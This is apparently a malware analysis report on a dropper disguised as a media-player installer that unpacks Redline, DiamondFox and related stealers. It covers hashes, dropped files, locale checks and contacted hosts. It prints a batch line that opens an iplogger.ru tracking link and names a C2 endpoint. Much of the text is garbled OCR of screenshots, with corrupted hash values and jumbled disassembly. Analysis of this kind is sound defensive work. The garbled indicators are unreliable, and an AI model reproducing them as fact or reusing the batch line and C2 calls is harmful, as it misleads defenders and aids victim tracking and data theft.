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Introduction

x86_64setup.exe, a recently released, uninformed and blended example, shows the features of
many malware families such as Redline, Smokeloader, Asyncrat, Vidar, which can also be seen in the
image, although it is from the diamondfox family.

|___asmerat N redline B smokeloader | ___widar ] 706 |

| ani ____J ___cana | aspacky2 backdoar nfostealer
25-07-2021 01:33 samoceyn.exe i _ - icats ;
persistence rat stealer suricata trojan
upx
|____redline _J§ ___ vidar | | cara | aspacky2
19-07-2021 1406 varis.exe - =
infostealer persistence stealer wmprotect
|___glupteba | | redline |
| ____cana | aspacky2
03-07-2021 12:04 b035ee0ead48cdfdfald7110cc84204df3571d6843aedc... backdoar discovery dropper evasion nfostealer
loader persistence spyware stealer trojan
upx
|____redline | | vidar | aspacky2
03-07-2021 06:23 86 _x64_setup.exe backdoor infostealer persistence stealer trojan

setup_installer.exe

MDS5: bf796dca0c45920e180ac8b9298f8a01

SHA256:

cd7elca8ac8578f93a2b3311e24c¢7745c1d892e7

upx

It covers everything from keylogging and browser password stealing to various Distributed Denials.

It has many functions such as adware, cookie stealing, UAC bypass (running with administrator
rights), botnet creation.

DiamondFox includes an embedded configuration section that contains the values used to
determine the workflow. To store malware, decrypt keys, and perform other tasks, the keys in the
configuration section are used throughout the entire malware execution process, and the
functionality of the malware is determined by their value. The configuration partition is stored in a
specific PE partition named L!NK. At the initial stage, this PE portion is copied into a newly allocated
buffer consisting of key-values.

Hashes

It is packed with Sfx and the hashes of the exes in it are as follows.

X86_64setup.exe
MD5: 9e285901af26b01bafe9afb312620887
SHA256: b035ee9ead48cdfdfald7110cc84204df3571d6843aedc4cd44edc73f59b013c0O

SHA1: b86337160b7a3fcc8056ccc9bc7c71cdb45ddc21

setup_install.exe

MD5: 8ed9fc32d350c4b26eb9064fd43cf06a

SHA256:
1b8366b1cdefed339f281887b1e5443f8925ef895df02e6101 }
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Sonia_l.exe
MD5: 6e487aalb2d2b9ef05073¢c11572925f2

SHA256: 77eec57eba8ad26c2fd97cc4240a13732f301c775e751ee72079f656296d9597

Sonia_2.exe
MD5: 5463ae9cd89ba5a886073f03clecbble

SHA256: 5d61ca2da46db876036960b7389c301519a38c59f72fa2b1dcbb1095f6a76c72

Sonia_3.exe
MD5: a2d08ecb52301e2a0c90527443431e13

SHA256: e6c638f913e9137efc3b2b126d32dc7ea9d03561df0213d1dal137c4128636e9

Sonia_4.exe
SHA1: dd78b03428b99368906fe62fc46aaafldb07a8b9

SHA256: d417bd4de6a5227f5ea5cff3567e74fe2b2a25c0a80123b7b37b27db89%adc384

Sonia_5.exe
MD5: 8c4df9d37195987ede03bf8adb495686

SHA256: 5207¢76c2e29a2f9951dc4697199a89fdd9516a324f4df7fa04184c3942cc185

Sonia_6.exe
MD5: f00d26715ea4204e39ac326f5fe7d02f

SHA256: 2eaal30a8eb6598a51f8a98ef4603773414771664082b93a7489432c663d9de3

Sonia_7.exe
MD5: a73c42ca8cdc50ffefdd313e2ba4d423

SHA256: c7dcc52d680abbfa5fa776d2b9ffala8360247617d6bef553a29da8356590f0b

Sonia_8.exe
MD5: dd0b8a5769181fe9fd4c57098b9b62bd

SHA256: ab36391daabc3ed858fcd9c98873673a1f69a6c9030fc38d42937bdeb4bb2fc5
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Sonia_9.exe

MD5: 3e2c8ab8ed50cf8e9a4fe433965e8f60

SHA256: b67af6174¢c3599f9c825a6ea72b6102586b26600a3b81324ce71b9905c9c3ec6

Sonia_10.exe
MD5: 881241cb894d3b6c528302edc4f41fal

SHA256: 3e70e230daee66f33db3fdba03d3b7a9832088fe88b0b4435d719e185ae8a330

Preview

The moment he runs the x86_64setup.exe file he downloaded to install Ligthening media player, he
drops more than 100 exe's with the program he wants and installs many applications.

(&

Lightening
Media Player

When we open archives sequentially, we see that the exeler, folder and dlls appear in the following
order.

Setup_installer.exe is a setup file configured as 7z setup sfx, as we can see here, and this file contains
the files that need to be run directly in it.

e CFF Explorer VI - [setup_installer.exe]
File Settings ?

H setup_installer.exe ourep 4 bgo0_s_ew2 18 — bmng
28
Property Value -
File: setup_install -
P TM H:di ; e File Name C\Users\zorro\ Desktop\210703- gIppb8b36j_pw._infected\viris\setu.. '
Nt Headers File Type Portable Executable 32 IW
a 4
f' Fie Header FileInfo Microsoft Visual C++ 6.0
(2] Optional Header 86 G4set
5] Data Directories [x] File Size 370 MB (3875121 bytes) X50_D4setu...
— (= Section Headers ]
PES 122,00 KB (124928 b
— D import Directory = E el
L (53 Resouroe Directory Created Wednesday 07 July 2021, 214747
{— %) Address Converter Modified Saturday 03 July 2021, 03.39.12
— & Walker
[ 4, Hex Editor Accessed Wednesday 07 July 2021, 21 47.47
[ L dentifier MDS BF796DCAQC45920E180AC8B9298FEA01
F— 4 Import Adder
Quick SHA-L CDTE1CABACBSTEFI3A2B3311E24CT745C1 DBI2ET
Rebuilder
{— 4, Resource Editor Property Value
— % uPX wriity CompanyName  Igor Pavlov
FileDescription 7z Setup SFX
FileVersion 19.00
InternalName T2S.sfx
LegalCopyright Copyright (<) 1999-2018 Igor Paviov
OriginalFilename 725 sfxexe
ProductName 7-Zip

When we open the archive, we see 5 dlIl 1 exe 10 txt files.

Txt files have MZ extension and are converted to exe instantly at runtime

= | %3 || Ara: setup_instatier £

KFEIw| |« vnss » setup installer @V@\ » 210703-g9pph8h36j_pw_infected » wiiris » setup_installer « | 43 || Ara: setup_ins
Dazenle = Kitaphga ekle = Bununla paylas » Yaz Yeni Klasor == Dazenle = Kitapliga ekle Bununla paylas v Yaz  Yeniklasor
osikkalla A4 Degigtirme tarihi  Tar X Sickula A ’ Degistirme tarihi ~ Tar Boyut
& Karid: %) libeurl.dll 7 Uygulama uzantisi o Kargid: [ libeurl.dil Uygulama uzantisi
B Masai (%) libeurlpp.dil Uygulama uzantisi B Masso  [3) libcurlpp.dil Uygulama uzantss
ZlSonYe |2 libgee s dw2-1.dll Uygulama uzantisi 5l SonYe [ libgec_s_dw2-Lal Uygulama uzantss
[ libstdce=-6.dil Uygulama uzantis ] libstdce-6.dil Uygulema uzantss
9 Kitaphkle %) libwinpthread-1.dll Uygulama uzantisi L Kitaplkle ] libwinpthread-1.dIl Uygulama uzantisi
4 Belgele (2] setup_install.exe Uygulama T Belgele 3 setup_install.exe Uygulama
J) Mizik ] sonia 1t Metin Belgesi & Mazik B sonia1.exe Uygulama
&= Resiml | sonia_ 2.6t Metin Belgesi & Resiml sonia_2.exe Uygulama
B video [ sonia 3t Metin Belgesi B video sonia_3.exe Uygulama
__ sonia_d.t Metin Belgesi ®°1 sonia_d.exe Uygulama
1M Bilgisaya || sonia 5.6t Metin Belgesi 18 Bilgisaya 8 sonia_S.exe Uygulama
| sonia_6.txt Metin Belgesi i { sonia_6.exe Uygulama
€ ag [ sonia 7.6 Metin Belgesi € ag [ sonia_7.exe Uygulama
| sonia B.txt Metin Belgesi sonia_8.exe Uygulama
| sonia 9.t Metin Belgesi ¥ sonia 9.ee Uygulama
[ sonia_10.6¢ Metin Belgesi 57 sonia_10.exe Uygulama




These files were written with Microsoft Visual Studio .NET, Microsoft Visual C++ 8 and Borland
Delphi 4.0. In addition to these, there are also Aspack v2.12 and UPX packaged exes.

After dropping the necessary processes and setup_installer.exe to temp, it runs it with the runas
command.

Runas, It is the command that makes the program run via cmd.

8BOD 74A24200 |mov ecx,dword ptr ds:[42A274]

L]

®( 64 00 push o

#||FF7481 &C push dword ptr ds:[ecx+eax=4+6C]
®||E8 BIFFFFFF call wviiriis.401389

®1C2 0400 EEE 4

#|| 68 FSAD4000 push viris. 40AD 40ADFS: L"runas C:\\Usersi\zorro'\AppData\hLocalyh\Temp'\setup_installer.exe"
®(|FF7424 08 push dw :[esp+sl

e||ES 73410000 call wi

®|C2 0400 ret 4

w55 push ebp

# || 8BEC mov ebp,esp

g1cr nensannn | cnkh oasn Sne

Setup_installer.exe is sfx and sfx configuration file should be like below

UTF-8'de kodlamaniz gerekeceginden, bu metin dosyasini dizenlemek icin NotePad ++

kullanmanizi tavsiye ederim, agadidaki talimatlar notepad++ kullaniyor. 1. Using windows explorer go to c\Install

1. Windows Gezgini'ni kullanarak c\Install'a gidin 2. right-click and choose "New Text File” and name it config.txt

2.5a8 tklayin ve "Yeni Metin Dosyasi”ni segin ve config.txt olarak adlandirin 3. right-click and choose "Edit with NotePad-++

B 4. Click the "Encoding Menu" and choose "Encode in UTF-8"

3. sag tiklayin ve "NotePad++ ile Dizenle'yi segin o
5. Enter something like this:

4. "Kodlama MenUst"ne tiklayin ve "UTF-8'de Kodla"y1 segin

51@Install@!UTF-8!

5. Bunun gibi bir sey girin: Title="SOFTWARE v1.0.2.8"
"Do you want to install SOFTWARE v1.8.9.02"
5 l@vukle@!UTF-8! setup.exe”
Title= LI v1.8.0.0" ; !@InstallEnd@!
BeginPrompt="YAZILIM v1.8.0.8 yiklemek istiyor musunuz?"

RunProgram="setup. exe”
5 |@InstallEndg!

setup_installer.exe is configured with the configuration shown in the picture.

=
osya Gorimim Debug Iz EMentler SkKulanlalar Seceneler Yardm Feb 112020 et 00901195
DE i a9y twBPf2aePirs . L ED .£ext:00481198 loc_401198:
= .text:@@481198 push  offset aTitle
& cru \ @ crafic | [dounik [ [TNotar | ® KesmeNoktalan | M bafira | [ VignCagrian | @mSed | o KomutDosyasi | &) semboler | < Kaynak | S Referansar | ' isPe ot 6048110 LE i, [ebphoar 167
P . 68 0085 41{ push setup_installer F18500: "TitTE" P : X ’ —
E o MEEEER] s 0055 P e tn b .text:004@11A3 lea ecx, [ebp+lpCaption]
. 804D D8 [lea_ecx;dword [ebp LUc:\\Users\\zorro\\Desktop\\temp\\setup_installer. exe K] .text:@04011A6 call  sub_dB3F77 ; Ca
& S — .text:@@4011A8 push  offset aBeginprompt
.text:@0401180 lea edx, [ebptvar_1e] ;
804D CO lea ecx,dword ptr ss:lfeb .
£2 8C2000{ Call setup_installer ~text:60401183 lea ecx, [ebptipText]
68 ESE441( push se taller. 41B4ES: "Progress .text:8e4081186 call sub_483F77 Hs
®ss Fo__|1ea edx, dnord prr .text:@0401188 push  offset aProgress
E2 A92000| EE Setup ISt .text:004811Ce lea edx, [ebptvar_18] ;
25\8243355 mov eéx ebsl 3]4 P text:804811C3 lea eex, [ebp+lpComman
moy_edx, - r. 41E4E :"no
E8 F02000( €@l setup_installer.4032CE -text:884811C3 call sub_283F77
test al,al .text:004011CE mov ecx, [ebp+lpCommandLine]
N .text:00401104 mov edx, offset alo ; "no’
4184D8: "Directary .text:@@401109 call  sub_4832CE
pt ebp- . .
all setup_installer.403F46 text:B6ABLIDE test  al, al ;
cmp_eax, ebx .text:804011E0 jz short loc_4811E8 ; )
v 7 15 31 setup_installer. 401206 -
13




Runtime

Runs Sonia series with the help of cmd and Along with the ones they drop,
some run it separately but all run with admin privileges.

@ chrome.exe 30 1064

14,89 kB/s
€ chrome.exe 3408
oS . 60 nn; 1270, 24 N6 RAD IATRL

34,82 MB  WIN-LLKDN79P80)\zorre  Google Chrome
1,67 MB WIN-L1KDN79P80\zorrc

some run it under itself,

Google Chrome

m

Hacker View Tools Users Help

7 Refresh 73 Options | @l Find handles or DLLs ¢ System information | (] [ 3¢

Processes | Senvices | Network | Disk |

Name PID CPU I/Ototal ... Privateb.. Username

Language Check

A carss.exe 60 657
A csmssexe 4652 911
A csssexe 4680 459

A, cerss.exe 4902 461
&, csrss.exe 5016 455
|4 OEtCHZLwbkHvg2 ffuzl2., 2172

937 MB
936 MB
9,36 MB

936 MB.
936 MB.

3032 MB

As seen in the picture, it receives information about the language of the computer. 1055 is the

hexadecimal code of Turkish.

push edi
push ebx
push edi
push virias. 408338
push 50000001
mov word ptr ds:[437000],30
mov word ptr ds:[437002],7%
mov_word ptr ds:[437004],di
wviiriis. 40640A
13930 48374 cmp word ptr ds:[423748],di
16 jne wiiris.403CB6&
push edi
push ebx
D4834000 push viris. 408304
48834000 push vuris.408348
03000080 80000003
viris. 406404
2bx

<IMP.&Istrcat=
viris. 403EE1

1
1
i
80000000000 RRRRRRIRRNNI

wviris.exe: $3C87 #3087

408398:L"Control Panel‘\\Desktop“‘\ResourcelLocale"

00437002: 78: "X’
004370041

00437000:L"1055", 30:'0"
Ererey

ngow

4083D4:L"Locale”
408348:L".DEFAULT\\Control Panel\\International™

FPU Gizle
EAX 00000004

EEX 00000000

ECX F2F5737C

EDX 00000035 5

EEP 00435000 viiriis. 00435000
ESP  OD1BFCE4 <&GetTempPathin>
ESI  0057E6CO

EDI 00000000

EIP  00403C91 viiriis. 00403C91
EFLAGS 00000216

ZF O PF1 AF 1

OF 0 SF O DF 0

CFO TFO IF1

[esp+4] 00437800 L"C:\\Users\\zorro'
[esp+8] 00435000 wiiris.0D0435000

[esp+C] 00000000
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Country Check

Gets the country code.

"

|

|

i

S | 1 1 I = =

68 C8222700 | push sonia_4.2722C8 2722CE8: "countryCode”
5 BD4D 94 Tea ecx,dword ptr ss:|fel
E C745 A4 0000 mov dword ptr ss:[ebp-tS
2 C745 AS OF0Q mov dword ptr ss:febp-t5
9 C645 94 00 |mov byte ptr ss:|[[ebp-aC]
D ES8 2EFEFFFF | call sonia_4.208170
2 Ce45 FC 19 |mov byte ptr ss:|[ebp-4]
& 8D55 94 Tea edx,dword ptr ss:[fel
9 8B8D 2CFFFFAmov ecx,dword ptr ss:[el
F 52 push edx
S0 SBO1 mov eax,dword ptr ds:[edeax:"TR", ecx:”
52 SB40 24 mov eax,dword ptr ds:[efeax:"TR"
55 FFDO Eall =ax
57 SEOE mov ecx,dword ptr ds:[efecx:"83"'", eax:"”
59 SBO1 mov eax,dword ptr ds:[edeax:"TR", ecx:”
SE 8B40 1C mov eax,dword ptr ds:[efeax:"TR"
SE FFDO Eall =ax

50 push eax eax: "TR"

BNAN FCFFFFA 1eA erw.dwnrd ntr ==:EesH

m |

setup_installer.exe

The setup_installer.exe, which is the sfx file, creates the 7zS84ecfcd2 file temporarily in temp and
extracts itself to that folder. Runs the setup_install.exe file in the 7zS84ecfcd2 folder and makes the
extension of the txts to exe and runs it with cmd and the processes begin. It also downloads utf-8.

)@/ L« Temp » T2SBAEC.

le = Kitaphga ekle » Bununla

=
Ad
%] libcurl.dll

%] libcurlpp.dil

w o o=

%] libgee_s_dw2-1.dll
] libstde++-6.dll
ti % libwinpthread-1.dll
B E:‘] setup_install.exe
N | sonia 1.4t
R | |sonia_ 26
Vo | soniz_ 3ot
|| sonia_d.bxt
le | | sonia St
|| sonia_6.txt

g || sonia_7.tbet

B [EEN
v|‘y‘|.—"f:.,-': )
paylag = Yaz @ » =~ 0 @

Degigtirme tarihi Tar Il
01.04.2021 05:47 Uygulama uza|
02.04.2021 01:23 Uygulama uzai|
12.05.2018 04:28 Uygulama uza|
12.05.2018 04:28 Uygulama uzai|
11.08.201618:53 Uygulama uzar| _
03.07.2021 03:39 Uygulama 1

03.07.2021 03:38
03.07.2021 03:38
03.07.2021 03:38
03.07.2021 03:38

Metin Belgesi
Metin Belgesi
Metin Belgesi

Metin Belgesi

03.07.2021 03:39 Metin Belgesi
03.07.2021 03:39 Metin Belgesi
03.07.2021 03:39

4| "

16 6ge

I 3

Metin Belgesi

Moktalan I Hafiza | ) Yigin Cadrilan =7 SEH L¢3 Komut Dosyasi | &) semboller I <> Kaynak o Ret
il | [ebp-70]:L"C:\\Users\\zorro\\AppData\'Local\Temp\\7z584ECFCD2" ~|[ FPU Gizle
sl | [ebp-358]:L"C:\\Users\\zorro\\AppData'\ Localy\Tempy\7ZS84ECFCD2" |
[ ] eax  ooooooon
1 EEX 00000000
ECX  DO18FF78
EDX 00360180
1 EBP 001BFEEC
#| [ebp-8C]:L"C:Y\\Users\\zorro\\Desktop\\temp\\setup_installer.exe" ESP 0018FDEC
ESI  DO3GFEFE
[ EDI 7S5FCFD3F
sll| [ebp-58] : L C: Y\ \Users\\zorro\\AppData\iLocaly\Temp\\ 7z S84ECFCD2" EIF 004013E4
[ebp-9c]:L"Driverstore\\FileRepository™
EFLAGS 0000024
ZE1 PF1 AFC
T — OF 0 SF 0O DF C
=1 e CFO0 TFO IF 1
Varsaylan (stdcall)
1: [esp+4] 00512
e 2: [esp+8] 00000
3: [esp+C] 00000
4: [esp+10] 0000
up_install exe
upf!nstaHexe L I¢=] Yerel Dediskenler | 2’ Yapt |
up_install exe
up_install exe 1. Le.
up_install.exe ALp A.
up_install exe B/A.GTA.
up_!nstaHexe al hiainres
up_installexe ===




,’

oPU | D Grafik | b Gunlik | [ Notar @ Kesme Noktalar | M Hafiza | [/ vign Cagnian | =25e4 | o) KomutDosyas: | %] semboler | <2 Kaynak | - Referandar | 'S isParcackian | @ Tutamacar | 71z |
.

68 24B541f push s 4 41B524:

etup_installer.41B52
8DBD 58FF| 1ea ecx,dword ptr ss:[ebp-az] [ebp-ag8]:"kernelz2.d11" - =
= o Varsaylan (stdcall) =|s B[k
1: [esp+4] 00512E89
yacak L j]
n installer.nnan1137 2: [esp+s] D00DOODO

ES 132A00] CA11 Setup_installer.d03AFE A :
. D4 E4 | lea cox dvord pir os:ifebo ic] ERUGizle

ES C029001 €all setup_insta
8DED &EFFl 1ea ecx,dword prr F\NProgress=\"no\"\r\nExecuterile=\"setup_install.exe\"\rin E';ﬁ gggggggé
ES AF2200i €alll setup_install texMco s TS
SBED TAFFImMOV ecx,dword p 8C]:L"C:\\Users\\zorro\\Desktop\\temp\\setup_: i
8DBS G&FF 8]: "\r\nProgress=\"no\"\r\nExecuterile=\"set r\n EDX  OOOBE3CS
co EBP  OOLBFEEC
68 S4F041 41F054: @InstallEnd@! ESP  0OO1BFDBC
BA 40F041 41F040:"; 1@Install@ [ UTF-8! ESI  00512E83
ES DE0Z0D EDI 00000000
84C0

-— vr75 19 jne setup_installer.401137 EIP 00401137 setup_installe
385D OB |cCmp byte ptr 33:][eh|J*5 b

- ~| 75 0C ine setup_i er.40112F

f BA 288541 mov edx,Setup_installer.418528 41B528:L"Can't load config info" ;EL’;GSF, gooigzgz
33C9 XOr_ecx,ecx Pe =6 oEa

! ES 2BA6001 €all setup_installer.40B77A

L 6A 01 push 1 CFO TFO IF1

pop ebx
E— ~| E9 407001 jmp setup_installer.s01885 LastError 00000000 (ERROR_SUCCES

The executefile parameter is used to open a document from the .7z archive

FFFF |{mov byte ptr ss:[Qebp-3C),1
0000 | je setup_installer.401337
lea ecx,dword ptr ss:|[febp-10]
s} call setup_installer.40E83C
lea edx,dword ptr ss:[lebp-10]

FFFF | lea ecx,dword ptr ss:[ebp-35] [ebp-98]: "\ r\nProgress=4"noY\"\rynExecuterile=\"setup_install. exe" "y rin"
o0 call setup_installer.403C57
test al,al

jne setup_installer.40113B
cmp byte ptr ss:|[ebp+Ej, bl
jne setup_installer.401193

oo mov edx,setup_installer.41E508 41B508:L"Config Tailed”
XOI eCx,8cx

o0 €all setup_installer.40B77A
push 1

File Paths It Dropped

C:\Users\%username%\AppData\Local\Temp
C:\Users\%username%\AppData\Local\Temp\csrss
C:\Users\%username%\AppData\Local\Temp\csrss\wup
C:\Users\%username%\AppData\Local\Temp\csrss\injector
C:\Users\%username%\AppData\Local\Temp\2e08cbha24e
C:\Users\%username%\AppData\Local\Temp\7zS84ecfcd2
C:\Users\%username%\AppData\Roaming
C:\Users\%username%\Documents

C:\Windows\System32

C:\Users\%username%\AppData\Local\Microsoft\Windows\Temporary Internet Files

g

A




pe

Dropped Files

Sonia_l.exe  osloader.exe

Sonia_2.exe  ntkrnlmp.exe

Sonia_3.exe
Sonia_7.exe

Sonia_4.exe
Sonia_8.exe

2.exe 2-42AT~1.EXE
1763683596.exe axhub.dll
api-ms-win-core-namedpipe-11-1-0.dll
api-ms-win-core-string-11-1-0.dll
8H6ZWCCbqKQZqr1ZDzSBxK6x.exe
aXI2zAftEgK3NhbWkMC9tlu9.exe
DVRrv75N3d0cq9kr9vinybhD.exe
JXKnQe3TxYFteWy6j3yegXVO.exe
MW{sWcm042byzXi5I9sNEvpV.exe
QiLxAKnbZiFVrlaHVYrVaCor.exe
vqd7AT7ae6TrmelGYn3mYmhh.exe
YDQgBKZPYWCdWgcUNzdp3XSu.exe
_06dRJaKSVIsmYSHDNe2HP2J.exe
2M3NhGrvxSqWKxfUZaLIV6ET3.exe
4YuMZgplHmQunPxfoSr8reVN.exe
7_6ykZv7EvdCcqo5NVamsESZ.exe
a0b6FbwIMTk4Pu1B7S6kg54S.exe
b9m753ZLMwrPudU1Z8olgpRu.exe

patch.exe narbux.exe

libcurl.dll
libcurlpp.dll

Sonia_5.exe
Sonia_9.exe

download.error ntkrnimp.pdb

injector.exe

libgcc_s_dw2-1.dll libwinpthread-1.dll

libstdc++-6.dll setup_install.exe

setup_installer.exe
ee.exe zz.exe

Sonia_6.exe

Sonia_10.exe
1587087885.exe
CCAF.tmp

dbghelp.dll symsrv.dll

tmp26A9.tmp owegj.exe  6ido0sjUdET8jRftOSc3hmlIV.exe
6Tnz3PelVSgDBk5I1zA16244.exe
8TJ9VtKLB52kA6SeboPhDGTF.exe
b7v49ezmfyjY8yPUI728VzS6.exe
jdwbamdvloiFhGwIbHrF9bld.exe
ksn2FwIHkR6rBdWCAwPt3JNr.exe
pVewZJtym|5fXqzzLBi4BYUA.exe
tXIH2r9moz62hZPcviryh0o3.exe
xvakguFf42t2cm80ddcmFdSW.exe
xmNWhWgAFpLCfekZ83BQg4bT.exe
_06dRJaKSVIsmYSHDNe2HP2].exe
3EaucCSGZDQ6kBhOhGL6GzIs.exe
5EZopg09PuytQxgh7s3mcjdM.exe
9kEtX2IGRgLKvO0j8IHVD5nN.exe
a200WdAaiKKhVMBVvYfzoevb.exe
bk7ZfU2gLdOfP4AWvGCutil9y.exe

ww31l.exe

These are just some of the dropped files, downloading some files and deleting them directly.

"1 rHIFScw3BGyTo)ZD9a_b3xSU.exe Uygulama 370KB

87 sFSGCRWPksLMISLAKPgNz_|exe Uygulama 16 @ PSR o 18] gm0 oVNEgTHFRBLOmPPX e Uygulama
- / juorVpigWCWNdsDBBIwhpu.exe 2 EacfIGGQMTeH80hkMukadodT.cxe Uygulama

VmTKVICEIpKIGgPYSMES qo.exe Uygulama FITKE & juewPcOTiybgUINHINSpyaYZ exe =7 EboBRY03Yob1snks27XBOgAG. exe Uygulama
1! teDQUqpgbfMOERS2)_G70j5v.exe Uygulama L73KB & keVQuiwzizfdSMLAmKLHWKSU.exe 7 6AWERLhhwhTqCplihith_BQ.exe Uygulama
H202HQEqyHIEFI03lolLzlocexe: Uygulzma FBRE |27 KKQIHzuAShGISToXX2jgd)_D.exe 571 FdlbeFYWKNWbmZ5 o)fiMVAq.exe Uygulama

1 UA_wazif_iPQWMMZWCWWFDZ_exe Uygulama 3012 ke KXCtDudnSKGzy VaupTkTOedd.exe 7 FND3a18]Q8VitpqlodRABW exe Uygulama
18 uPmy<7AB1NIKEOSDSKaNp_AX.exe Uygulama 1723KE 7 KxPXNHERSN1dOSYhgTn6riPO.exe Uygulams aCSbzyiYONWIANDVEAMIEP.exe Uygulama
§ vOndBWIUdsKrHkef_d2ldn3j.exe Uygulama 240KE [ LDI185I0nPrioVIvge39CKIF.exe Uygulama 47 gp62EIBMpbYlySBKniGEceH exe Uygulama
VS Tioa63MHgsLmUiOSzM0g.exe Uygulama 337KE K LMICVGPAUR2Plich QXdiNgd.exe Uygulama 7 GatPryfTCiSnLcbiBUZMIRF.exe Uygulame

£ VnxABvrbVnEhWie7 Oqkez3U8.exe Uygulama 200KB & MfisKRc82UcduwlaVXIbTa0.exe Uygulama hOKakvhnm3I2xBP CkyFnQemK.exe Uygulama
4 vOAQmeg2dBmmRIulRc.exe Uygqulama 315KE B mGQEKmUtIM{ScidVavXHe2dl.exe Uyqulama 7] HeOgHWSXLNAYTOHotIMMO Lexe Uygulama
vsuEpy TADIBDSCEBOARIfP exe Uygqulama 428Ke 1 mZDIKTAM yQelVWubIPIOHS. e 372K B hXWQLgSkUIDROITSA]T).exe Uygulama

57 vikeZlebknHAaZI08hsa0mTm.exe Uygulama 306K8  [F 0BWYgVhpFYMBWIEPDAj2Kwlexe 1Ke 57 HGeRFQpOUkaX2UTpXXRN kLexe Uygulama
7 VAXMVPCZMCjQRIVOrTUX WD exe Uygulama 1ke |7 OEtCHZLwbkHvg2 fluzll2g.exe 4611 KB 27 hil hVZ31BQN3GM_pbmi3QM72.exe Uygulama
3§ VnamuDgPDTKVLY LabymTBFP.exe Uygqulama 2u0kn B OWUUHLYKZ3Dglebimidv Z.ee 1450 KB HollQDsoaleSdyo2XzAsnetD.exe Uygulama
(57 Zuhi9ymSnSMiwKKKxtuL GCe.exe Uygulsma 372k [T pLGEmMKYIVsKmroeZQObSBg.exe 461LK8 () hQOfImgQniWzgwgoZocOh. exe Uygulama
| 1, 2#w2NWQtbobL8cYhagDnyilu_exe Uygulama sokg = pAEIDIUDLBSOcLgljvw.exe Uygulama r2(1 hzdTHZMUSo3ImiDqd9WUES.exe Uygulema

e e — ‘
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jmyse b Verei Dk (G) » Kulamwcir + 7ome » AppDeta » Local & Microsoht » Windows » Temporsry Intermet Fles .4 ] @\_}'l |+ Bilgisayar » Yerel Disk (C) » Windows » System3Z » - ‘ "‘ | A
°
Duzenle v Yaz Yeni klasor
R Degigtirmetarihi  Tar Bayut
; i Kergden Yokl || perfcOiF.dat 25.07.2021 0113 DAT Dosyasi 137 K8
2 B Masaistd [ perfc09.dat 20210113 DAT Dosyasi 119 KB
o % Son Yerler | perfhOlF.dat 20210113 641 KB
< | perfh009.dat 20210113 630 KB
- N
v = Kitaphklar &' PerfStringBackup.INI Yapilandirma ayar... 1532K8
[ [ Belgeler || 78296FB0-376B-407¢-B012-0C450ELB7327 5., C7483456-A289-4... a1Ke
- o) Mizik || 78296FB0-376B-497e-B012-0C450E1BT327-5... C7483456-A289-4... 31KB
- =] Resimler ntkmimp.exe Uygulama 5423 KB
5 B2 Video esloader.exe 2021 0344 Uygulama 620 KB
—
£ SSVRUWWBLA4RMEDDp64A.exe ~_
= 7 9U4BESOTUkyGR2ApXUATO) exe iu- « zomre b AppData b Local » Temp b {Zlyd-hlasi-Tenu-TiAs) -4
— Pl Ty e — 5 83604UFPYLEXQBKvdollymem. ece uenie v Kisphgackle v Bununlspaylsg > sz  Veni klssar -~
Dueniew  Cgag  Kmmpiguedse w  Bunanis payas 4= 0 mabLHEXVSRASHSTAZALT ee =
- 15 kqrnBUPRAJELALMOION2TE exe Sik Kullsnlanlse o~ L ' ot
sk iz 1 LB 2bTusVcImePEFEyia.cxe B Kargidan Voklemele %, 31477552638, exe
i rapdany inisctor £ INPRUTVmBFHVOTUYQXMOEM.exe B Masadsta 33742699106.exe
B Mot wup 1 m3GeXixXkOTe A TECk.exe L, Son Verler 4396783035 exe
| Seon Virkes BT ettm2il5 e 5 MaVRIMaBTveQawHNwiaUjtiH.exe
T gedatipacese 7 muChgHAFFEGQE1bUBRSs cxe
4 Vitapliclar 5 geifp.ise 7 owegjexe 7 6:
R - mjmmasm%mxm _metadata 25.07.2021 06:02 Dosya klasora
Juas | = 3 PAAlIpCoGpEYwBosNIN 0 ] manifestison JSON Dosyasi 18
—
E,IJ“ e 51 PPISHBODTKFPOSvyvCbAWtL exe || optimization-hints.pb PE Dosyasi 56 KB
: s ] EUNEZAR O
gy i mTQUNESmdPay2dbNGICHE exe
Wi s
AyuFHQuS! meCAKgZSkN.exe
5 DHeaBwcXOIGVQ3DIRVM.exe
ga ekle « Bununla paylag « Yaz Yeni klasor
e < z A Ara: 2-42AT~1
Ad Degistirme tarihi T Boyut @vv‘ « zamo v AppData b Local » Temp » XPOODTMP b 2-42AT-1 ~ [ 4| [[Ara: 42471
et B 2.exe 28.06.2021 12:41 Uygulama 3 K8 Diizenle = = A¢ Bununla paylag = Yazdir  Yaz  Veniklasor
D 2-42AT-1EXE 29,06.2021 15:09 Uygulama 118 KB f Belgeler s oA Defistime tarihi  Tar Boyut
o) Mazik
e 28.06.2021 11:51 Windows Topluls ...
=] Resimler
B vidl
[oif CAUsers\zomo\AppData\Local Temp\XPO00. TMP\2-42AT-1\Install bat - Motepad++ [=
File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window 7
o= 2 s & |t g | @ & | B L]

Bk B reaibat |
1 ktart https:

iplogger.ru/17Peb7 & exit

Adware and Linked Sites

Humisnee.com
Binance.com
Browzar.com
Bet365.com
Avito.ru
oauth.vk.com

walmart.com

ip-api.com
37.0.11.41/base/api/getData.php
addthis.com

steamcomunity.com
pastebin.com
api.login.yahoo.com

google.kz

facebook.com
ipinfo.io
cdn.discordapp.com
gql.twitch.com
i.instagram.com
spolaect.info

google.com

’)



<4

res://c:\program files (x86)\browzar\browzar.exe/dnserror.htm#http://www.browzar.com/start/?v=2000

Uhr\owann“

Internet connection unavailable

Ho connecion 1o the Intemet is cu avalla:
Plsase check your connection and try again

The getfp.exe in the csrss folder goes to humisnee.com.

x  +

x @ humisnee.com/test.php?uuid=58d36b79-8ccc-4f72-b72a-b2bb3c78610a8browser=chrome

&N C:\Wmdows\sy;tamil\cmd.axe

Microsoft Windows [Siiriim 6.1.76011
Telif Hakki <(c) 2039 I‘In:ru..uft Corporation. Tiim haklari sakladar.

(o= s

\Usersizorro>C:\UsersizorrosDesktoprcsrssigetfp. exe
chrome: C:\Program Files\Google~ChromeApplication\chrome.exe
2921.-87,24 B3:50:37 done

C:\Usersszorror.,

@ humisnee.com | 502 Bad gatews X | +

Create a free account | Binance X

&)

@ accounts.binance.com/en/register?ref=\

A,
‘' BINANCE

lea ecx dword
push e

push e

€all esi

mov dword
mov
mov
mov
mov
mov

inHTTpCONNect:

/base/api/getData. php

0.11.41/base/api /getbata. php"

dword

It connects to ip-api.com and gets various information.

501 00 v byte pir 1,0 £px 35 sonia_4.20026C
Neme £8'Desosrre | EalN Sonia . 208170 e8P Moy ecx,dward per dsi[e
